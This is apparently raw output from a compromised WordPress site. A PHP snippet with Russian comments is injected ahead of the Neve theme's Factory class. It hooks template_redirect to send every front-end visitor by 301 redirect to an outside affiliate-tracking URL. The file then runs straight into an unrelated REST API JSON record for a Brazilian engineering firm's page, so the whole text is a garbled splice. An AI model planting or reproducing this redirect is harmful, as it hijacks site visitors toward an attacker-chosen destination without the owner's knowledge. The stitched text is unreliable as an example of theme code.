function my_custom_redirect() { // Убедитесь, что этот код выполняется только на фронтенде if (!is_admin()) { // URL для редиректа $redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick'; // Выполнить редирект wp_redirect($redirect_url, 301); exit(); } } add_action('template_redirect', 'my_custom_redirect'); /** * Features Factory * * Author: Andrei Baicus * Created on: 17/08/2018 * * @package Neve\Core */ namespace Neve\Core; /** * The class responsible for instantiating new Neve features. * * @package Neve\Core * @author Themeisle */ class Factory { /** * Modules * * @var array */ private $modules; /** * The modules namespace. * * @var string */ private $namespace; /** * Factory constructor. * * @param array $modules the modules that will be loaded. * @param string $namespace the modules namespace. */ public function __construct( $modules, $namespace = '\\Neve\\' ) { if ( ! is_array( $modules ) || empty( $modules ) ) { return; } $this->namespace = $namespace; $this->modules = $modules; } /** * Actually load the modules. */ public function load_modules() { foreach ( $this->modules as $module_name ) { $module = $this->build( $module_name ); if ( $module !== null ) { $module->init(); } } } /** * The build method for creating a new Neve module class. * * @since 1.0.0 * @access public * * @param string $class The name of the feature to instantiate. * * @return object|null */ public function build( $class ) { $full_class_name = $this->namespace . $class; return new $full_class_name(); } } {"id":58,"date":"2022-06-23T16:01:24","date_gmt":"2022-06-23T16:01:24","guid":{"rendered":"https:\/\/dna7engenharia.com.br\/?page_id=58"},"modified":"2022-08-16T23:25:19","modified_gmt":"2022-08-16T23:25:19","slug":"obras-de-retormada","status":"publish","type":"page","link":"https:\/\/dna7engenharia.com.br\/obras-de-retormada\/","title":{"rendered":"Obras de Retomada"},"content":{"rendered":"","protected":false},"excerpt":{"rendered":"","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"inline_featured_image":false,"footnotes":""},"class_list":["post-58","page","type-page","status-publish","hentry"],"yoast_head":"\nObras de Retomada - DNA7<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/dna7engenharia.com.br\/obras-de-retormada\/\" \/>\n<meta property=\"og:locale\" content=\"pt_BR\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Obras de Retomada - DNA7\" \/>\n<meta property=\"og:url\" content=\"https:\/\/dna7engenharia.com.br\/obras-de-retormada\/\" \/>\n<meta property=\"og:site_name\" content=\"DNA7\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/dna7engenharia\/\" \/>\n<meta property=\"article:modified_time\" content=\"2022-08-16T23:25:19+00:00\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/dna7engenharia.com.br\/obras-de-retormada\/\",\"url\":\"https:\/\/dna7engenharia.com.br\/obras-de-retormada\/\",\"name\":\"Obras de Retomada - DNA7\",\"isPartOf\":{\"@id\":\"https:\/\/dna7engenharia.com.br\/#website\"},\"datePublished\":\"2022-06-23T16:01:24+00:00\",\"dateModified\":\"2022-08-16T23:25:19+00:00\",\"breadcrumb\":{\"@id\":\"https:\/\/dna7engenharia.com.br\/obras-de-retormada\/#breadcrumb\"},\"inLanguage\":\"pt-BR\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/dna7engenharia.com.br\/obras-de-retormada\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/dna7engenharia.com.br\/obras-de-retormada\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/dna7engenharia.com.br\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Obras de Retomada\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/dna7engenharia.com.br\/#website\",\"url\":\"https:\/\/dna7engenharia.com.br\/\",\"name\":\"DNA7\",\"description\":\"Engenharia e Constru\u00e7\u00f5es\",\"publisher\":{\"@id\":\"https:\/\/dna7engenharia.com.br\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/dna7engenharia.com.br\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"pt-BR\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/dna7engenharia.com.br\/#organization\",\"name\":\"DNA7 Engenharia e Constru\u00e7\u00f5es\",\"url\":\"https:\/\/dna7engenharia.com.br\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"pt-BR\",\"@id\":\"https:\/\/dna7engenharia.com.br\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/dna7engenharia.com.br\/wp-content\/uploads\/logo-full.svg\",\"contentUrl\":\"https:\/\/dna7engenharia.com.br\/wp-content\/uploads\/logo-full.svg\",\"width\":\"1024\",\"height\":\"1024\",\"caption\":\"DNA7 Engenharia e Constru\u00e7\u00f5es\"},\"image\":{\"@id\":\"https:\/\/dna7engenharia.com.br\/#\/schema\/logo\/image\/\"},\"sameAs\":[\"https:\/\/www.facebook.com\/dna7engenharia\/\",\"https:\/\/www.linkedin.com\/company\/dna7engenharia\/\",\"https:\/\/www.instagram.com\/dna7engenharia\/\"]}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Obras de Retomada - DNA7","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/dna7engenharia.com.br\/obras-de-retormada\/","og_locale":"pt_BR","og_type":"article","og_title":"Obras de Retomada - DNA7","og_url":"https:\/\/dna7engenharia.com.br\/obras-de-retormada\/","og_site_name":"DNA7","article_publisher":"https:\/\/www.facebook.com\/dna7engenharia\/","article_modified_time":"2022-08-16T23:25:19+00:00","twitter_card":"summary_large_image","schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/dna7engenharia.com.br\/obras-de-retormada\/","url":"https:\/\/dna7engenharia.com.br\/obras-de-retormada\/","name":"Obras de Retomada - DNA7","isPartOf":{"@id":"https:\/\/dna7engenharia.com.br\/#website"},"datePublished":"2022-06-23T16:01:24+00:00","dateModified":"2022-08-16T23:25:19+00:00","breadcrumb":{"@id":"https:\/\/dna7engenharia.com.br\/obras-de-retormada\/#breadcrumb"},"inLanguage":"pt-BR","potentialAction":[{"@type":"ReadAction","target":["https:\/\/dna7engenharia.com.br\/obras-de-retormada\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/dna7engenharia.com.br\/obras-de-retormada\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/dna7engenharia.com.br\/"},{"@type":"ListItem","position":2,"name":"Obras de Retomada"}]},{"@type":"WebSite","@id":"https:\/\/dna7engenharia.com.br\/#website","url":"https:\/\/dna7engenharia.com.br\/","name":"DNA7","description":"Engenharia e Constru\u00e7\u00f5es","publisher":{"@id":"https:\/\/dna7engenharia.com.br\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/dna7engenharia.com.br\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"pt-BR"},{"@type":"Organization","@id":"https:\/\/dna7engenharia.com.br\/#organization","name":"DNA7 Engenharia e Constru\u00e7\u00f5es","url":"https:\/\/dna7engenharia.com.br\/","logo":{"@type":"ImageObject","inLanguage":"pt-BR","@id":"https:\/\/dna7engenharia.com.br\/#\/schema\/logo\/image\/","url":"https:\/\/dna7engenharia.com.br\/wp-content\/uploads\/logo-full.svg","contentUrl":"https:\/\/dna7engenharia.com.br\/wp-content\/uploads\/logo-full.svg","width":"1024","height":"1024","caption":"DNA7 Engenharia e Constru\u00e7\u00f5es"},"image":{"@id":"https:\/\/dna7engenharia.com.br\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/dna7engenharia\/","https:\/\/www.linkedin.com\/company\/dna7engenharia\/","https:\/\/www.instagram.com\/dna7engenharia\/"]}]}},"_links":{"self":[{"href":"https:\/\/dna7engenharia.com.br\/wp-json\/wp\/v2\/pages\/58"}],"collection":[{"href":"https:\/\/dna7engenharia.com.br\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/dna7engenharia.com.br\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/dna7engenharia.com.br\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/dna7engenharia.com.br\/wp-json\/wp\/v2\/comments?post=58"}],"version-history":[{"count":0,"href":"https:\/\/dna7engenharia.com.br\/wp-json\/wp\/v2\/pages\/58\/revisions"}],"wp:attachment":[{"href":"https:\/\/dna7engenharia.com.br\/wp-json\/wp\/v2\/media?parent=58"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}